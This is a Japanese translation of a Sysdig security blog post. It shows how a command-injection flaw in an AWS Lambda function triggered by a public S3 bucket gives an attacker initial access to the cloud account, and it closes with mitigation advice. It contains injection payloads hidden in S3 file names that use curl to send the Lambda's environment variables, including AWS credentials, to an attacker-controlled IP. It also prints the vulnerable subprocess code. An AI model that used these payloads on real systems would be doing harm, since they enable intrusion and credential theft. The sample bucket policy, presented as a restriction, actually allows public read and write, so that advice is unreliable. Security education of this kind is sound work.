本文の内容は、2022年1月18日にStefano Chiericiが投稿したブログ(https://sysdig.com/blog/exploit-mitigate-aws-lambdas-mitre/)を元に日本語に翻訳・再構成した内容となっております。
弊社のセキュリティリサーチチームは、脆弱なAWS Lambdaファンクションが、クラウド環境への初期アクセスとして攻撃者に利用される可能性について、ブラックボックスとホワイトボックスの観点から実際の攻撃シナリオで説明します。最後に、この攻撃のベクトルを緩和するためのベストプラクティスを示します。
基盤となるインフラを管理することなく、スケーラビリティ、パフォーマンス、コスト効率を実現するために、ビジネスアプリケーションではサーバーレスが主流となっています。これらのワークロードは、1秒間に数千の同時リクエストにまで拡張することができます。クラウド環境で最も使用されているサーバレスファンクションの1つが、AWS Lambdaファンクションです。
アプリケーションを本番への引き上げに欠かせない要素として、セキュリティがあります。コードにエラーがあったり、ユーザーの入力検証が行われなかったりすると、ファンクションが危険にさらされ、攻撃者がクラウドのアカウントにアクセスする可能性があります。
AWS Lambdaファンクションについて
AWS Lambdaは、様々なプログラミング言語で書かれたコードの実行を許可し、クラウド環境内でのアクションを自動化する、イベント駆動型のサーバーレスコンピュートサービスです。このアプローチの主な利点の一つは、LambdaがAWSによって直接管理される高可用性のコンピュートインフラストラクチャーにおいてコードを実行することです。クラウドプロバイダーは、サーバーやオペレーティングシステムのメンテナンス、自動スケーリング、パッチ適用、ロギングなど、インフラストラクチャーに関連するすべての管理活動を行います。
ユーザーは、自分のコードを実装したサービスを利用するだけで、すぐに機能を利用することができます。
痛みを共有するセキュリティ
セキュリティの観点から見ると、クラウド・プロバイダーによって管理されているにもかかわらず、ユーザーが自由に設定できるという性質上、セキュリティに関する懸念やリスクも2つのアクターの間で共有されます。
ユーザーは特定のLambdaファンクションの背後にあるインフラストラクチャーをコントロールできないため、その下にあるインフラストラクチャーのセキュリティリスクはクラウド・プロバイダーによって直接管理されます。
AWS IAMを使用することで、ユーザーはLambdaファンクションとそのコンポーネントのアクセスと許可されたアクションを制限することが可能です。IAMロールやLambdaファンクションが使用するオブジェクトへの権限設定を誤ると、クラウド環境内に攻撃者が侵入し、深刻な被害をもたらす可能性があります。さらに重要なのは、Lambdaファンクションに実装されたコードはユーザーの管理下にあり、次のセクションで説明するように、コードにセキュリティホールがあれば、そのファンクションを使ってクラウドのアカウントにアクセスし、横移動することができるかもしれないということです。
攻撃シナリオ
ここでは、特定のインフラストラクチャー、アプリケーション、ファンクションのセキュリティ態勢を評価するペネトレーションテストで使用される主要なテスト手法のうち、ブラックボックステストとホワイトボックステストという2つの異なるテスト手法を用いて、2つの攻撃シナリオを確認します。Lambdaファンクションを別の視点から見ることで、ファンクションのセキュリティ態勢の全体像を把握することができ、想定される攻撃とそれに関連するリスクをより深く理解することができます。
ブラックボックスとホワイトボックス
ブラックボックステストでは、環境を攻撃する担当者は、環境そのものやソフトウェアシステムの内部動作についての情報を一切持ち合わせていません。このアプローチでは、攻撃者は、特定の機能のロジックの背後に何があるかを仮定し、その仮定をテストし続けて侵入方法を見つける必要があります。今回のシナリオでは、攻撃者はクラウド環境へのアクセス権を持たず、クラウド環境やアカウントで利用できる機能や役割に関する内部情報も持ち合わせていません。ホワイトボックステストでは、攻撃者は、目的を達成するために攻撃時に使用できる内部情報をすでに持っています。この場合、攻撃者は、可能性のある脆弱性やセキュリティ問題を見つけるために必要なすべての情報を持っています。
このような理由から、ホワイトボックステストは、最も網羅的なテスト方法と考えられています。今回のシナリオでは、攻撃者はクラウド環境で読み取り専用の初期アクセス権を持っており、この情報を利用して、既に導入されているものを評価し、より良い攻撃のターゲットとすることができます。
#1 ブラックボックスシナリオ

この攻撃シナリオでは、攻撃者は、会社が所有するさまざまなファイルがある、一般に公開された誤った設定のS3バケットを発見しました。
攻撃者はこのバケットにファイルをアップロードし、アップロードされたファイルの構成を確認することができます。アップロードされた各ファイルのタグを計算するためにLambdaファンクションが使用されていますが、攻撃者はLambdaに実装されているコードについて何も知りません。
AWS CLIを使用して、バケットprod-file-bucket-eu内のすべてのオブジェクトをリストアップしています。
aws s3 ls prod-file-bucket-eu

アップロードされたファイルから得られる情報の1つとして、タグを確認してみます。
get-object-taggingを使うと、ファイルに次のようなタグが割り当てられていることがわかります。
aws s3api get-object-tagging --bucket prod-file-bucket-eu --key config161.zip

これらのタグはきっとカスタムで、ファイルがバケットにアップロードされたときに動的に追加されるものです。おそらく、ファイルサイズやパスに関連したタグを追加する機能があるのではないかと思います。
curlやawscliを使って、zipファイルをアップロードしてみて、タグが自動的に追加されるかどうかを確認してみましょう。
aws s3 cp config.zip s3://prod-file-bucket-eu/ curl -X PUT -T config.zip \ -H "Host: prod-file-bucket-eu.s3.amazonaws.com" \ -H "Date: Thu, 02 Dec 2021 15:47:04 +0100" \ -H "Content-Type: ${contentType}" \ http://prod-file-bucket-eu.s3.amazonaws.com/config.zip
ファイルがアップロードされると、ファイルタグを確認することができ、タグが自動的に追加されていることがわかります。
aws s3api get-object-tagging --bucket prod-file-bucket-eu --key config161.zip

これらの値の背後には、AWS Lambdaファンクションがあると確信できます。このファンクションは、バケットに新しいオブジェクトが作成されたときに起動されるようです。PathとSizeの2つのタグは、ファイルごとに動的に計算されているようです。おそらくOSのコマンドを実行して情報を取得しているのでしょう。
ファイル名は、OSの中でファイルを探すために使われ、ファイルサイズの計算にも使われていると考えられます。言い換えれば、ファイル名は、タグに入れる情報を取得するためにOSのコマンドで使用されるユーザー入力である可能性があります。ユーザー入力の検証が行われないと、攻撃者が望ましくない入力を行ったり、マシンに任意のコマンドを実行したりする可能性があります。
この場合、ファイル名に他のコマンドを注入することで、リモートコードの実行を試みることができます。セミコロンを使用したコマンドの連結は、ユーザー入力に任意のコマンドを追加する一般的な方法で、ユーザー入力が十分にサニタイズされていない場合、コードがそれらを実行するようにします。
テストメッセージ “testRCECurl “をPOSTメソッドで送信することで、制御されている別のEC2への接続を開くためにcurlコマンドを追加してみましょう。
aws s3 cp config.zip 's3://prod-file-bucket-eu/screen;curl -X POST -d "testRCECurl" 3.80.92.111:443;'
下の画面から、コマンドが正しく実行され、接続とPOSTのメッセージを受信していることがわかります。

このように、ユーザーの入力が全く検証されていないことが証明され、AWS Lambda OS上で任意のコマンドを正常に実行できるようになりました。このセキュリティホールを利用して、クラウド環境に直接アクセスすることができます。
AWSの認証情報を抽出する方法の1つとして、env環境を経由する方法があります。この点については、攻撃者のマシンに戻って接続を受信できることをすでに実証しているので、env変数の内容をPOSTメッセージに送信して、環境から情報を抽出することができます。aws s3 cp config.zip 's3://prod-file-bucket-eu/screen;curl -X POST -d "`env`" 3.80.92.111:443;.zip'

curlコマンドを使って、クラウドの認証情報を流出させることに成功し、その認証情報を使ってクラウドのアカウントにログインすることができます。AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKENをインポートすることができ、get-caller-identityの出力からわかるように、正常にログインすることができました。
aws sts get-caller-identity { "UserId": "AROA2PVZZYWS7MCERGTMS:corpFuncEasy", "Account": "AccountID", "Arn": "arn:aws:sts::AccountID:assumed-role/corpFuncEasy/corpFuncEasy" }
そこに入ると、攻撃者は取得した権限を評価するための列挙プロセスを開始し、クラウドアカウント内でさらに権限を昇格するパスがあるかどうかを確認できます。
#1 ホワイトボックスのシナリオ

先に提案した同じ攻撃シナリオで、攻撃者が誤って設定されたバケットS3を発見した場合に、ホワイトボックスのアプローチを使ってみましょう。この場合、攻撃者はフィッシングで認証情報を盗んでクラウド環境にアクセスしており、侵害されたユーザーはそのアカウントで読み取り専用のアクセス権を持っています。
攻撃者は、読み取り専用アクセスのためにlambdaファンクションに実装されたコードから得られた情報を統合して、より良い攻撃対象とすることができます。
まず、取得した認証情報がクラウド・アカウントにログインするために有効かどうかを確認してみましょう。
aws sts get-caller-identity { "UserId": "AIDA2PVZZYWS3MXZKDH66", "Account": "AccountID", "Arn": "arn:aws:iam::AccountID:user/operator" }

ログインすると、ユーザーやグループに付与されている権限の評価が始まります。この例では、次のようなポリシーが添付されていることがわかります。
aws iam list-attached-user-policies --user-name operator

読み取り専用のアクセス権しか持っていないので、アカウントに既にデプロイされているものの情報収集を開始し、特に設定ミスのあるS3バケットに注目してみます。
ブラックボックスのシナリオで見たように、開いていたバケットにはlambdaファンクションが設定されていると考えるのが妥当です。このlambdaファンクションに関する追加情報があれば、より良い攻撃が可能になります。
list-functions コマンドを使用すると、アカウントで利用可能なlambdaファンクションを確認することができます。このケースでは、corpufuncEasy ファンクションとその関連情報、特にその関数で使用されているロールが見つかりました。
aws lambda list-functions

get-functionを使うと、前に見つけたlambdaファンクションを深く掘り下げることができます。ここでは、ファンクションのコードをダウンロードするためのリンクなど、基本的な情報を見つけることができます。
ws lambda get-function --function-name corpFuncEasy
{ "Configuration": { "FunctionName": "corpFuncEasy", "FunctionArn": "arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy", ... }, "Code": { "RepositoryType": "S3", "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-..." }, "Tags": { "lambda-console:blueprint": "s3-get-object-python" } }
コードの知識があれば、その関数をよりよく評価し、セキュリティのベストプラクティスが適用されているかどうかを確認することができます。

コードの一部では、アップロードされたファイルが/tmp/フォルダに置かれ、そのファイルパスがサブプロセスのコマンドに直接使用され、実行されていることがわかります。
ファイル名をサニタイズするために、入力検証は行われていません。これで、前述の攻撃が成功した理由がよくわかりました。
ファイル名“screen.zip;curl -X POST -d “testRCECurl” 3.80.92.111:443”をサブプロセスコマンドの前に行ったように使用すると、次のようになります。"stat -c %s screen.zip;curl -X POST -d "testRCECurl" 3.80.92.111:443"
このように、セミコロン文字を使用することで、stat コマンドの直後に実行する他のコマンドを追加することができます。前述したように、curlコマンドが実行され、ポート443の攻撃システムに文字列が送信されています。
このベクター攻撃を軽減するには
ここまでブラックボックスとホワイトボックスの観点から攻撃シナリオを見てきましたが、このシナリオを軽減するためにはどうすればよいのでしょうか。提案されたシナリオでは、S3バケットやAWS lambdaなど、さまざまなAWSコンポーネントを取り上げましたが、その中でいくつかのセキュリティ面が無視されていました。このシナリオをうまく緩和するためには、さまざまなレベル、さまざまな機能に対応する必要があります。特に、私たちは以下のことができます。
- S3バケットのパブリックアクセスを無効にして、内部からのみアクセスできるようにし、クラウドアカウントに認証されたユーザーのみがアクセスできるようにする。
- lambdaファンクション内で使用されているコードをチェックし、セキュリティ上のバグがないことと、コードを安全に書くためのセキュリティガイドラインに従ってすべてのユーザー入力が正しくサニタイズされていることを確認する。
- クラウド機能に適用されるすべてのAWS IAMロールに最小権限の概念を適用し、アカウント内での不要なアクションや特権昇格経路の可能性を回避する。
それでは、上記のすべてのポイントについて、どのようにしてこれらの緩和策を実施するか、詳細を見てみましょう。
S3バケットのパブリックアクセスを無効にする
S3バケットは、AWSでストレージとして使用される重要なコンポーネントの1つです。S3バケットは、クラウドのアカウントに侵入しようとする攻撃者によく利用されます。S3バケットを可能な限り安全に保ち、利用可能なすべてのセキュリティ設定を適用して、データやファイルへの不要なアクセスを避けることが重要です。
このシナリオでは、バケットが公開されていたため、すべての未承認ユーザーがバケット内のオブジェクトを読み書きできてしまいました。このような事態を避けるためには、バケットが公開されていることを確認し、個人的に以下のセキュリティ設定を適用してアクセスを制限する必要があります。

また、バケットにACLを使用することで、バケット内の欲しいアクションとバケット内のオブジェクトを定義し、それ以外をブロックすることが可能です。
{ "Version": "2012-10-17", "Statement": [ { "Sid": "PublicReadGetObject", "Effect": "Allow", "Principal": "*", "Action": [ "s3:GetObject", "s3:PutObject" ], "Resource": "arn:aws:s3:::3bucket********/www/html/word/*" }, { "Sid": "PublicReadListObject", "Effect": "Allow", "Principal": "*", "Action": "s3:List*", "Resource": "arn:aws:s3:::s3bucket********/*" } ] }
lambdaファンクション内で使用されているコードの確認
他のWebアプリケーションと同様に、コードがセキュリティのベストプラクティスに従って実装されていることを確認することは、セキュリティ問題を回避するための基本です。lambdaファンクション内のコードも例外ではなく、そのコードが安全で防弾性のあるものであることを確認する必要があります。事例では、攻撃者が関数を攻撃するために使用する可能性のある脆弱なコードの一部の前に、以下のように示されています。
file_count_KB = subprocess.check_output( "stat -c %s " + file_download_path, shell=True, stderr=subprocess.STDOUT ).decode().rstrip()
変数file_download_pathには、ファイル名を含むフルファイルパスが格納されています。このパスをそのままコマンドラインに連結してコマンドを実行します。このため、パスをコマンドに追加する前に、許容される文字列に基づいて、適切なユーザー入力の検証とサニタイズを行う必要があります。
適切で効果的な検証を行うためには、どの文字が許可されていて、どの文字を文字列の中に入れたいのかを明確に把握し、入力検証のベストプラクティスを適用する必要があります。
正規表現を使用すると、ファイルパス内に必要な文字だけを許可し、攻撃者が不正な文字を送信しようとした場合には実行をブロックすることができます。以下の例では、linuxのファイルパスを検証するための正規表現の例を示しています。
pattern = "^\/$|(\/[a-zA-Z_0-9-]+)+$" if re.match(pattern, file_download_path): file_count_KB = subprocess.check_output( "stat -c %s " + file_download_path, shell=True, stderr=subprocess.STDOUT ).decode().rstrip()
この正規表現は、検証したいフィールドや入力に固有のものであることは言及する価値があります。OWASP は、あらゆる種類のユーザー入力を処理する必要がある場合に従うことができる、優れたベストプラクティスを提供します。
AWS IAMロールに最小特権の概念を適用する
AWS Identity and Access Management (IAM)は、AWSのサービスやリソースへのアクセスを安全に管理することができます。最初のセクションで述べたように、ユーザーはIdentity and Access Managementレイヤーの管理を担当し、パーミッションを使用してAWSリソースへのアクセスを許可・拒否しています。クラウド環境ではパーミッションの粒度が細かいため、最小特権の概念を適用することが推奨されます。ユーザーがアクションを実行するのに必要なものを正確に与えます。権限の設定を誤ると、攻撃者が環境内で権限を拡大する可能性があります。
ブラックボックスのシナリオでは、攻撃者はlambdaファンクションに関連付けられたAWS Roleを持つアカウントにログインすることができます。
潜在的に、攻撃者は攻撃を進め、特権の誤設定の可能性があるAWS思考の内部で特権を昇格させることができるかもしれません。厳密に必要な権限だけをlambdaファンクションに割り当てられたロールに適用することで、考えられるエスカレーションの経路を最小限に抑え、攻撃者がクラウド環境全体を侵害できないようにすることができます。
もちろん、各グループ、ユーザー、リソースにどのようなポリシーやロールが割り当てられているかを明確に把握することは、それほど容易ではありません。クラウド上の異常な活動を継続的に監視するセキュリティツールを頼りに、そこからセキュリティイベントを生成することが可能です。AWSの場合、適切なツールを使えば、CloudTrailイベントなどからイベントを収集し、クラウドセキュリティの評価と強化を容易に行うことができます。
まとめ
AWS lambdaファンクションは、スケーラビリティやパフォーマンスの面で大きなメリットがあります。しかし、総合的なセキュリティが最善の方法で管理されていなければ、それらのサーバーレスファンクションが攻撃者によってAWSアカウントへの侵入手段として悪用される可能性があります。攻撃者による悪意のある行為を避けるためには、Lambdaコードに適切な入力検証を適用し、関数のトリガーにセキュリティのベストプラクティスを適用することが基本となります。また、クラウド環境ではよくあることですが、IAMパーミッションに最小特権の概念を適用することで、環境内での特権昇格を防ぐことができます。
クラウドやAWSのセキュリティについて詳しく知りたい方は、以下のウェビナーにお申し込みください。AWSにおけるクラウドとコンテナランタイムのセキュリティ
Sysdig Secureでは、他のオープンソースプロジェクトとともに、アウトオブボックスのルールでFalcoを拡張し、Kubernetesのセキュリティをより簡単に扱い、管理できるようにしています。30日間の無料トライアルに登録して、ご自身の目でお確かめください!